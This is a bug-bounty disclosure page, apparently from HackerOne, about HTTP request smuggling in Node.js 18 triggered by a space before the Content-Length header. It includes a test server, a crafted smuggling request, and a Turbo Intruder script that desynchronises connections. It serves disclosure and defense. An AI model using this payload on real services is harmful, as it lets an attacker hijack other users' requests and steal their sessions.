HTTP Request Smuggling via Content Length Obfuscation
A space before the Content-Length header in Node.js 18 causes the header to be ignored, allowing an attacker to smuggle a second request in the body of the first. This can desynchronise connections, letting the attacker consume other users' requests or force them to access unintended paths.
bpingel Follow with canastasio
Originally disclosed on HackerOne
- Triaged in 14 days
- Fixed in 5 months
- Disclosed after 6 months
Summary by the program
The team has identified a critical vulnerability in the http server of the most recent version of Node, where malformed headers can lead to HTTP request smuggling. Specifically, if a space is placed before a content-length header, it is not interpreted correctly, enabling attackers to smuggle in a second request within the body of the first.
The report
Summary: The default web service in the most recent version of 18.X seems to have an issue with the interpretation of malformed headers. If a space is left before a content-length header then the header is not read correctly. This leaves the ability to smuggle in a second request as the body of the first.
Description: HTTP request smuggling is present in applications running on the current version of the 18.X Node JS available for download from nodejs.org. When a space is placed before the content length header of a request it is not interpreted correctly and as a result the beginning of another request can be smuggled in the body. Formatted correctly it can consume portions of other user's requests or force them to access paths they did not intend to.
Steps To Reproduce:
This simple Node JS application was used for replication and showing of desync in identification parameters within requests.
const http = require('http');
const port = 8082;
const server = http.createServer((req, res) => {
if (req.url === '/hello') {
console.log(JSON.stringify(req.headers));
console.log('%s', req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello, World!\n');
} else if (req.url === '/bye') {
console.log('%s', req.url)
console.log(JSON.stringify(req.headers));
res.writeHead(200, { 'Content-Type': 'text/plain' });
const name = req.headers['x-name'] || 'World';
res.end(`Goodbye, ${name}!\n`);
} else {
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Route not found\n');
}
});
server.listen(port, () => {
console.log(`Server running at http://localhost:${port}/`);
});
and the smuggled request would look like this
POST /hello HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Content-length: 43
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
GET /bye HTTP/1.1
x-name: Bob%s
X-YzBqv:
With x-name header being the header used to have an ID present in the request be reflected in the response.
- Start up an application using the current version of Node JS 18, sample application above provided.
- This testing was done using the Turbo Intruder with the following script to simulate both an attacker poisoning the web socket as well as a legitimate user sending a request to the web service.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=100,
pipeline=False,
engine=Engine.THREADED
)
for word in range(1, 100):
if word % 2:
CleanReq = re.sub(r' Content-length: [0-9]+', 'Null-head: test%s', target.req)
CleanReq = re.sub(r'GET [^v]*v: ', '\r\n', CleanReq)
engine.queue(CleanReq, word)
engine.queue(target.req, word)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
table.add(req)

- During these requests to /hello you will begin to receive responses from the /bye url. The content-length header in regular request is swapped out with a test ID header to track which request ID is receiving which poisoned requests back.
Impact: Using this vulnerability we've already shown that a malicious user can affect the connections of regular users and in worst cases this can be used to steal session data from users as with the right formatting a request could be smuggled that can consume another users entire request, session data and all. As in this log you can see that the first line of a request is being consumed by a header, but this can be completed in other ways to consume more of a request.

Impact
Potential full compromise of users sessions on any service running a vulnerable version.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely Node.js 18's HTTP parser fails to recognise a Content-Length header preceded by a space, so the header is misread.
Impact
A malicious user could affect other users' connections and, with the right formatting, steal session data by consuming another user's entire request.
What the attacker needed
Node.js 18 server running the vulnerable HTTP service; Attacker can send crafted HTTP requests
How it was found
- Start a Node.js 18 application using the provided sample code.
- Use Turbo Intruder to send a request with a space before Content-Length and a smuggled request in the body, alternating with normal requests.
- Observe that responses from the smuggled path (/bye) are returned to requests to /hello.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Adding a space before the Content-Length header makes Node.js misread it, so the body can be treated as a new request, letting an attacker affect other users' connections.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.